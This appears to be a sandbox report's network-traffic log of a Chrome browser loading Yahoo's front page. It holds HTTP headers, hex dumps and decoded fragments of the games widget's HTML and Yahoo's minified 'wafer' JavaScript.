2024-04-27 22:41:53 UTC	1300	IN	Data Raw: 5f 63 75 73 74 6f 6d 45 72 72 6f 72 3d 6e 7d 74 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 77 61 66 65 72 2d 66 6f 72 6d 2d 69 6e 63 6f 6d 70 6c 65 74 65 22 29 2c 72 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 77 61 66 65 72 2d 66 6f 72 6d 2d 65 6c 65 6d 2d 65 72 72 6f 72 22 29 2c 72 2e 5f 5f 63 75 73 74 6f 6d 45 72 72 6f 72 26 26 72 2e 73 65 74 43 75 73 74 6f 6d 56 61 6c 69 64 69 74 79 28 22 20 22 29 7d 7d 2c 7b 6b 65 79 3a 22 68 61 6e 64 6c 65 49 6e 70 75 74 43 68 61 6e 67 65 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 72 3d 74 2e 65 6c 65 6d 2c 6e 3d 74 2e 65 72 72 6f 72 43 6c 61 73 73 2c 69 3d 65 2e 74 61 72 67 65 74 3b 72 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 Data Ascii: _customError=n}t.classList.add("wafer-form-incomplete"),r.classList.add("wafer-form-elem-error"),r.__customError&&r.setCustomValidity(" ")}},{key:"handleInputChange",value:function(e){var t=this._util,r=t.elem,n=t.errorClass,i=e.target;r.classList.remove(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	49843	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:52 UTC	1126	OUT	POST /fp_ms/_rcv/remote?ctrl=GamesMini&lang=en-US&m_id=react-wafer-games&m_mode=json&region=US&rid=1sbetl5j2qvpa&site=fp&apptype=default&instance_id=games&_evtSrc=deferLoad HTTP/1.1 Host: www.yahoo.com Connection: keep-alive Content-Length: 297 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" content-type: application/json x-webp: 1 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
2024-04-27 22:41:52 UTC	297	OUT	Data Raw: 7b 22 62 75 63 6b 65 74 22 3a 22 64 72 6f 70 5f 68 65 69 6d 64 61 6c 6c 5f 68 6f 6d 65 70 61 67 65 5f 63 6f 6e 74 72 6f 6c 5f 62 75 63 6b 65 74 2c 4d 69 6d 69 63 43 6f 6e 74 72 6f 6c 76 32 2d 63 6f 70 79 2c 68 6f 6d 65 70 61 67 65 5f 74 61 62 6f 6f 6c 61 5f 62 65 6e 6a 69 5f 31 5f 63 6f 6e 74 72 6f 6c 2c 73 65 61 6d 6c 65 73 73 22 2c 22 63 6f 6e 66 69 67 22 3a 7b 22 78 68 72 50 61 74 68 50 72 65 66 69 78 22 3a 22 2f 66 70 5f 6d 73 2f 5f 72 63 76 2f 72 65 6d 6f 74 65 22 7d 2c 22 63 74 72 6c 22 3a 22 47 61 6d 65 73 4d 69 6e 69 22 2c 22 69 6e 73 74 61 6e 63 65 5f 69 64 22 3a 22 67 61 6d 65 73 22 2c 22 6d 5f 69 64 22 3a 22 72 65 61 63 74 2d 77 61 66 65 72 2d 67 61 6d 65 73 22 2c 22 6d 5f 6d 6f 64 65 22 3a 22 6a 73 6f 6e 22 2c 22 73 70 61 63 65 49 64 22 3a 32 Data Ascii: {"bucket":"drop_heimdall_homepage_control_bucket,MimicControlv2-copy,homepage_taboola_benji_1_control,seamless","config":{"xhrPathPrefix":"/fp_ms/_rcv/remote"},"ctrl":"GamesMini","instance_id":"games","m_id":"react-wafer-games","m_mode":"json","spaceId":2
2024-04-27 22:41:52 UTC	1277	IN	HTTP/1.1 200 OK referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000 content-type: application/json; charset=utf-8 status-code: 200 x-app-version: 1.0.37150 x-applet-version: 1.0.37150 x-instance-id: games x-applet-id: react-wafer-games vary: Accept-Encoding date: Sat, 27 Apr 2024 22:41:52 GMT x-envoy-upstream-service-time: 12 server: ATS x-envoy-decorator-operation: tdv2-app-fp--mtls-production-bf1.frontpage-k8s-frontend.svc.yahoo.local:4080/* Age: 0 Content-Security-Policy: sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=190db0dj2qvpg&partner=; frame-ancestors 'self' https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com htts://.verizonmedia.com https://.publishing.oath.com Transfer-Encoding: chunked Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 33 64 61 33 0d 0a 7b 22 61 73 73 65 74 73 22 3a 7b 22 63 73 73 22 3a 5b 7b 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 74 6f 70 22 2c 22 76 61 6c 75 65 22 3a 22 2f 61 61 71 2f 63 70 72 6f 70 73 2f 63 6f 6c 6f 72 73 5f 31 2e 31 2e 32 37 2e 6d 69 6e 2e 63 73 73 22 2c 22 6e 61 6d 65 22 3a 22 63 75 73 74 6f 6d 2d 70 72 6f 70 65 72 74 69 65 73 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 31 2e 31 2e 32 37 22 7d 2c 7b 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 74 6f 70 22 2c 22 76 61 6c 75 65 22 3a 22 2f 61 61 71 2f 66 70 2f 63 73 73 2f 72 65 61 63 74 2d 77 61 66 65 72 2d 67 61 6d 65 73 2e 47 61 6d 65 73 4d 69 6e 69 2e 61 74 6f 6d 69 63 2e 6c 74 72 2e 31 33 35 31 33 35 33 63 66 38 31 32 39 30 31 32 61 36 38 36 65 35 31 39 36 30 38 38 31 32 64 35 2e 6d 69 6e 2e 63 73 73 22 2c 22 6e Data Ascii: 3da3{"assets":{"css":[{"location":"top","value":"/aaq/cprops/colors_1.1.27.min.css","name":"custom-properties","version":"1.1.27"},{"location":"top","value":"/aaq/fp/css/react-wafer-games.GamesMini.atomic.ltr.1351353cf8129012a686e519608812d5.min.css","n
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 42 64 65 6e 64 73 28 73 29 20 42 64 72 73 28 32 70 78 29 20 42 64 65 6e 64 63 28 2d 2d 68 75 6c 6b 2d 70 61 6e 74 73 29 5c 22 3e 3c 2f 69 3e 3c 68 33 20 63 6c 61 73 73 3d 5c 22 54 64 28 6e 29 20 43 28 2d 2d 62 61 74 63 61 76 65 29 20 4d 62 28 30 29 20 46 77 28 36 30 30 29 20 46 7a 28 31 34 70 78 29 5c 22 3e 50 6c 61 79 20 67 61 6d 65 73 20 6f 6e 20 59 61 68 6f 6f 3c 2f 68 33 3e 3c 2f 64 69 76 3e 3c 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 67 61 6d 65 73 2d 74 61 62 73 2d 73 63 72 6f 6c 6c 76 69 65 77 20 77 61 66 65 72 2d 73 63 72 6f 6c 6c 76 69 65 77 20 50 6f 73 28 72 29 20 4d 78 28 2d 32 30 70 78 29 20 54 61 28 63 29 20 4f 76 28 68 29 5c 22 20 64 61 74 61 2d 77 66 2d 62 65 68 61 76 69 6f 72 3d 5c 22 6e 61 74 Data Ascii: Bdends(s) Bdrs(2px) Bdendc(--hulk-pants)\"></i><h3 class=\"Td(n) C(--batcave) Mb(0) Fw(600) Fz(14px)\">Play games on Yahoo</h3></div><div></div></div><div class=\"games-tabs-scrollview wafer-scrollview Pos(r) Mx(-20px) Ta(c) Ov(h)\" data-wf-behavior=\"nat
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 30 70 78 29 3a 6c 63 20 77 61 66 65 72 2d 66 65 74 63 68 5c 22 20 64 61 74 61 2d 79 6c 6b 3d 5c 22 69 74 63 3a 31 3b 73 65 63 3a 61 70 70 2d 67 61 6d 65 73 3b 63 70 6f 73 3a 31 3b 65 6c 6d 3a 74 61 62 3b 73 6c 6b 3a 57 6f 72 64 3b 5c 22 20 69 64 3d 5c 22 67 61 6d 65 73 2d 74 61 62 2d 31 5c 22 20 72 6f 6c 65 3d 5c 22 74 61 62 5c 22 20 64 61 74 61 2d 77 66 2d 74 61 72 67 65 74 3d 5c 22 23 67 61 6d 65 73 2d 70 61 6e 65 6c 2d 31 5c 22 20 64 61 74 61 2d 77 66 2d 74 72 69 67 67 65 72 3d 5c 22 74 61 62 41 63 74 69 76 61 74 65 5c 22 20 64 61 74 61 2d 77 66 2d 75 72 6c 3d 5c 22 2f 66 70 5f 6d 73 2f 5f 72 63 76 2f 72 65 6d 6f 74 65 5c 22 20 64 61 74 61 2d 77 66 2d 62 6f 64 79 3d 5c 22 7b 26 71 75 6f 74 3b 63 74 72 6c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 47 61 6d Data Ascii: 0px):lc wafer-fetch\" data-ylk=\"itc:1;sec:app-games;cpos:1;elm:tab;slk:Word;\" id=\"games-tab-1\" role=\"tab\" data-wf-target=\"#games-panel-1\" data-wf-trigger=\"tabActivate\" data-wf-url=\"/fp_ms/_rcv/remote\" data-wf-body=\"{"ctrl":"Gam
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 74 68 50 72 65 66 69 78 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 2f 66 70 5f 6d 73 2f 5f 72 63 76 2f 72 65 6d 6f 74 65 26 71 75 6f 74 3b 7d 7d 5c 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 45 6c 6c 20 4d 61 77 28 31 36 63 68 29 20 50 65 28 6e 29 20 44 28 62 29 20 50 79 28 31 30 70 78 29 20 46 77 28 35 30 30 29 20 46 7a 28 2d 2d 66 6f 6e 74 2d 31 31 70 78 29 20 74 61 62 41 63 74 69 76 65 5f 42 78 73 68 28 24 74 61 62 73 42 74 6e 53 68 61 64 6f 77 29 20 42 67 63 28 2d 2d 6d 61 72 73 68 6d 61 6c 6c 6f 77 29 20 42 64 72 73 28 33 32 70 78 29 20 43 28 2d 2d 62 61 74 74 6c 65 73 68 69 70 29 20 50 78 28 31 32 70 78 29 20 74 61 62 41 63 74 69 76 65 5f 42 67 63 28 2d 2d 77 68 69 74 65 29 21 20 74 61 62 41 63 74 69 76 65 5f 43 28 2d 2d 69 6e 6b 77 65 6c 6c 29 21 Data Ascii: thPrefix":"/fp_ms/_rcv/remote"}}\"><span class=\"Ell Maw(16ch) Pe(n) D(b) Py(10px) Fw(500) Fz(--font-11px) tabActive_Bxsh($tabsBtnShadow) Bgc(--marshmallow) Bdrs(32px) C(--battleship) Px(12px) tabActive_Bgc(--white)! tabActive_C(--inkwell)!
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 6d 3a 74 61 62 3b 73 6c 6b 3a 43 61 73 69 6e 6f 3b 5c 22 20 69 64 3d 5c 22 67 61 6d 65 73 2d 74 61 62 2d 34 5c 22 20 72 6f 6c 65 3d 5c 22 74 61 62 5c 22 20 64 61 74 61 2d 77 66 2d 74 61 72 67 65 74 3d 5c 22 23 67 61 6d 65 73 2d 70 61 6e 65 6c 2d 34 5c 22 20 64 61 74 61 2d 77 66 2d 74 72 69 67 67 65 72 3d 5c 22 74 61 62 41 63 74 69 76 61 74 65 5c 22 20 64 61 74 61 2d 77 66 2d 75 72 6c 3d 5c 22 2f 66 70 5f 6d 73 2f 5f 72 63 76 2f 72 65 6d 6f 74 65 5c 22 20 64 61 74 61 2d 77 66 2d 62 6f 64 79 3d 5c 22 7b 26 71 75 6f 74 3b 63 74 72 6c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 47 61 6d 65 73 4d 69 6e 69 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 6d 5f 69 64 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 72 65 61 63 74 2d 77 61 66 65 72 2d 67 61 6d 65 73 26 71 75 6f 74 3b 2c Data Ascii: m:tab;slk:Casino;\" id=\"games-tab-4\" role=\"tab\" data-wf-target=\"#games-panel-4\" data-wf-trigger=\"tabActivate\" data-wf-url=\"/fp_ms/_rcv/remote\" data-wf-body=\"{"ctrl":"GamesMini","m_id":"react-wafer-games",
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 6e 20 63 6c 61 73 73 3d 5c 22 45 6c 6c 20 4d 61 77 28 31 36 63 68 29 20 50 65 28 6e 29 20 44 28 62 29 20 50 79 28 31 30 70 78 29 20 46 77 28 35 30 30 29 20 46 7a 28 2d 2d 66 6f 6e 74 2d 31 31 70 78 29 20 74 61 62 41 63 74 69 76 65 5f 42 78 73 68 28 24 74 61 62 73 42 74 6e 53 68 61 64 6f 77 29 20 42 67 63 28 2d 2d 6d 61 72 73 68 6d 61 6c 6c 6f 77 29 20 42 64 72 73 28 33 32 70 78 29 20 43 28 2d 2d 62 61 74 74 6c 65 73 68 69 70 29 20 50 78 28 31 32 70 78 29 20 74 61 62 41 63 74 69 76 65 5f 42 67 63 28 2d 2d 77 68 69 74 65 29 21 20 74 61 62 41 63 74 69 76 65 5f 43 28 2d 2d 69 6e 6b 77 65 6c 6c 29 21 5c 22 3e 50 75 7a 7a 6c 65 3c 2f 73 70 61 6e 3e 3c 2f 62 75 74 74 6f 6e 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 70 61 67 69 6e 61 74 69 6f 6e Data Ascii: n class=\"Ell Maw(16ch) Pe(n) D(b) Py(10px) Fw(500) Fz(--font-11px) tabActive_Bxsh($tabsBtnShadow) Bgc(--marshmallow) Bdrs(32px) C(--battleship) Px(12px) tabActive_Bgc(--white)! tabActive_C(--inkwell)!\">Puzzle</span></button></div><div class=\"pagination
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 69 6c 6c 3a 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 73 74 72 6f 6b 65 3a 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 30 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 62 6f 74 74 6f 6d 5c 22 20 68 65 69 67 68 74 3d 5c 22 31 30 5c 22 20 76 69 65 77 42 6f 78 3d 5c 22 30 20 30 20 33 32 20 33 32 5c 22 20 64 61 74 61 2d 69 63 6f 6e 3d 5c 22 43 6f 72 65 41 72 72 6f 77 52 69 67 68 74 5c 22 3e 3c 70 61 74 68 20 64 3d 5c 22 4d 37 2e 30 36 2e 36 36 35 63 2e 38 38 37 2d 2e 38 38 37 20 32 2e 33 32 34 2d 2e 38 38 37 20 33 2e 32 31 20 30 4c 32 35 2e 36 30 36 20 31 36 20 31 30 2e 32 37 20 33 31 2e 33 33 35 63 2d 2e 34 34 32 2e 34 34 33 2d 31 2e 30 32 33 2e 36 36 35 2d 31 2e 36 30 34 2e 36 36 35 73 2d 31 2e 31 36 32 2d 2e 32 32 32 2d 31 Data Ascii: ill:currentColor;stroke:currentColor;stroke-width:0;vertical-align:bottom\" height=\"10\" viewBox=\"0 0 32 32\" data-icon=\"CoreArrowRight\"><path d=\"M7.06.665c.887-.887 2.324-.887 3.21 0L25.606 16 10.27 31.335c-.442.443-1.023.665-1.604.665s-1.162-.222-1
2024-04-27 22:41:53 UTC	1300	IN	Data Raw: 28 63 29 20 57 28 31 30 30 25 29 20 4d 74 28 31 35 70 78 29 5c 22 3e 3c 68 34 20 63 6c 61 73 73 3d 5c 22 46 7a 28 31 32 70 78 29 20 46 77 28 35 30 30 29 20 4c 68 28 31 72 65 6d 29 5c 22 3e 53 63 72 61 6d 62 6c 65 20 57 6f 72 64 73 3c 2f 68 34 3e 3c 61 20 63 6c 61 73 73 3d 5c 22 54 64 28 6e 29 20 54 61 28 63 29 20 50 79 28 37 70 78 29 20 57 28 33 30 25 29 20 46 77 28 35 30 30 29 20 4c 68 28 31 72 65 6d 29 20 46 7a 28 2d 2d 66 6f 6e 74 2d 31 32 70 78 29 20 42 64 72 73 28 31 38 70 78 29 20 43 28 2d 2d 77 68 69 74 65 29 20 42 67 28 24 70 6c 61 79 47 61 6d 65 73 42 74 6e 47 72 61 64 69 65 6e 74 29 20 42 78 73 68 28 24 70 6c 61 79 47 61 6d 65 73 42 74 6e 53 68 61 64 6f 77 29 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 5c 22 50 6c 61 79 20 67 61 6d 65 5c 22 20 64 Data Ascii: (c) W(100%) Mt(15px)\"><h4 class=\"Fz(12px) Fw(500) Lh(1rem)\">Scramble Words</h4><a class=\"Td(n) Ta(c) Py(7px) W(30%) Fw(500) Lh(1rem) Fz(--font-12px) Bdrs(18px) C(--white) Bg($playGamesBtnGradient) Bxsh($playGamesBtnShadow)\" aria-label=\"Play game\" d
2024-04-27 22:41:53 UTC	1300	IN	Data Raw: 6c 61 73 73 3d 5c 22 4f 70 28 30 2e 35 29 20 43 75 72 28 70 29 5c 22 20 77 69 64 74 68 3d 5c 22 32 34 5c 22 20 73 74 79 6c 65 3d 5c 22 66 69 6c 6c 3a 76 61 72 28 2d 2d 62 61 74 63 61 76 65 29 3b 73 74 72 6f 6b 65 3a 76 61 72 28 2d 2d 62 61 74 63 61 76 65 29 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 30 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 62 6f 74 74 6f 6d 5c 22 20 68 65 69 67 68 74 3d 5c 22 32 34 5c 22 20 76 69 65 77 42 6f 78 3d 5c 22 30 20 30 20 34 38 20 34 38 5c 22 20 64 61 74 61 2d 69 63 6f 6e 3d 5c 22 65 78 63 6c 61 6d 61 74 69 6f 6e 2d 66 69 6c 6c 5c 22 3e 3c 70 61 74 68 20 64 3d 5c 22 4d 32 34 20 30 43 31 30 2e 38 20 30 20 30 20 31 30 2e 38 20 30 20 32 34 73 31 30 2e 38 20 32 34 20 32 34 20 32 34 20 32 34 2d 31 30 2e 38 20 32 34 2d 32 34 Data Ascii: lass=\"Op(0.5) Cur(p)\" width=\"24\" style=\"fill:var(--batcave);stroke:var(--batcave);stroke-width:0;vertical-align:bottom\" height=\"24\" viewBox=\"0 0 48 48\" data-icon=\"exclamation-fill\"><path d=\"M24 0C10.8 0 0 10.8 0 24s10.8 24 24 24 24-10.8 24-24

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	49850	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:52 UTC	542	OUT	GET /aaq/wf/wf-native-da-1.0.5-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:53 UTC	840	IN	HTTP/1.1 200 OK x-amz-id-2: twBN1CkX4GnV33pUmyZunfQhgKCIkvKo1vGx2J2tftAEjZ8C6hoOL09oil/mGJSTnIEPSO5pXQ7yOhbTJAv/Vw== x-amz-request-id: DF9TQR6TCAAFM3DZ Date: Sat, 27 Apr 2024 22:29:48 GMT Last-Modified: Wed, 13 Mar 2024 00:20:57 GMT ETag: "b29975904d91fe6ff597a7fd5a315391" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: 078ylwgkz5Ax5V37JvikKo6D_ggB.CfO Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 11230 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 725 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:53 UTC	755	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 6e 61 74 69 76 65 2d 64 61 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 6e 61 74 69 76 65 2d 64 61 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 66 65 72 2e 77 61 Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-native-da",[],t):"object"==typeof exports?exports["wafer-native-da"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wa
2024-04-27 22:41:53 UTC	1300	IN	Data Raw: 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 65 2c 74 29 7d 2c 74 2e 70 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 61 61 71 2f 77 66 2f 22 2c 74 28 74 2e 73 3d 22 2e 2f 73 72 63 2f 65 6e 74 72 79 2e 6a 73 22 29 7d 28 7b 22 2e 2f 73 72 63 2f 65 6e 74 72 79 2e 6a 73 22 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 65 2c 74 29 7b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 74 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 61 6c 6c 20 61 20 63 6c 61 73 73 20 61 73 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 7d 66 75 6e 63 74 Data Ascii: {return Object.prototype.hasOwnProperty.call(e,t)},t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/entry.js":function(e,t,r){"use strict";function n(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}funct
2024-04-27 22:41:53 UTC	1300	IN	Data Raw: 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 3b 76 61 72 20 66 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 31 3b 74 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 74 2b 2b 29 7b 76 61 72 20 72 3d 61 72 67 75 6d 65 6e 74 73 5b 74 5d 3b 66 6f 72 28 76 61 72 20 6e 20 69 6e 20 72 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 72 2c 6e 29 26 26 28 65 5b 6e 5d 3d 72 5b 6e 5d 29 7d 72 65 74 75 72 6e 20 65 7d 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 29 7b 76 61 72 20 72 3d 5b 5d 2c Data Ascii: Object.defineProperty(t,"__esModule",{value:!0});var f=Object.assign\|\|function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var n in r)Object.prototype.hasOwnProperty.call(r,n)&&(e[n]=r[n])}return e},l=function(){function e(e,t){var r=[],
2024-04-27 22:41:53 UTC	1300	IN	Data Raw: 61 73 73 3a 61 2c 73 65 6c 65 63 74 6f 72 3a 73 2c 73 75 63 63 65 73 73 43 6c 61 73 73 3a 63 7d 2c 7b 53 54 41 54 45 5f 41 54 54 52 53 3a 5f 7d 29 29 2c 76 3d 62 28 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 22 6e 61 74 69 76 65 2d 64 61 2d 63 6f 6e 66 69 67 22 29 5b 30 5d 29 2c 64 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 79 2b 22 6e 61 74 69 76 65 2d 64 61 2d 74 61 62 6f 6f 6c 61 2d 63 6f 6e 66 69 67 22 29 2c 68 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 79 2b 22 6e 61 74 69 76 65 2d 64 61 2d 69 64 22 29 3b 76 2e 65 6e 61 62 6c 65 54 61 62 6f 6f 6c 61 41 64 73 7c 7c 64 7c 7c 28 68 3d 68 2b 22 2d 22 2b 20 2b 2b 43 29 2c 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 79 2b 22 6e 61 74 69 76 65 2d 64 61 2d 69 64 22 Data Ascii: ass:a,selector:s,successClass:c},{STATE_ATTRS:_})),v=b(e.getElementsByClassName("native-da-config")[0]),d=e.getAttribute(y+"native-da-taboola-config"),h=e.getAttribute(y+"native-da-id");v.enableTaboolaAds\|\|d\|\|(h=h+"-"+ ++C),e.setAttribute(y+"native-da-id"
2024-04-27 22:41:53 UTC	1300	IN	Data Raw: 6f 6e 66 69 67 2c 70 3d 76 6f 69 64 20 30 3d 3d 3d 67 3f 7b 7d 3a 67 2c 79 3d 75 2e 74 61 72 67 65 74 45 6c 65 6d 2c 62 3d 75 2e 74 69 6d 65 6f 75 74 2c 5f 3d 70 2e 75 72 6c 3b 72 65 74 75 72 6e 20 30 21 3d 3d 74 68 69 73 2e 5f 73 74 61 74 65 2e 73 74 61 74 75 73 3f 28 74 2e 73 65 74 46 65 74 63 68 49 6e 50 72 6f 67 72 65 73 73 28 6e 29 2c 63 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 77 61 66 65 72 2d 6e 61 74 69 76 65 2d 64 61 2d 74 72 69 67 67 65 72 2d 69 6e 70 72 6f 67 72 65 73 73 22 29 2c 74 68 69 73 2e 5f 73 74 61 74 65 2e 73 74 61 74 75 73 3d 30 2c 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 65 2c 72 29 7b 76 61 72 20 6f 3d 74 2e 67 65 74 28 61 29 3b 69 66 28 6f 29 72 65 74 75 72 6e 20 6f 2e 5f 73 74 6f 72 61 67 65 53 6f 75 Data Ascii: onfig,p=void 0===g?{}:g,y=u.targetElem,b=u.timeout,_=p.url;return 0!==this._state.status?(t.setFetchInProgress(n),c.classList.add("wafer-native-da-trigger-inprogress"),this._state.status=0,new Promise(function(e,r){var o=t.get(a);if(o)return o._storageSou
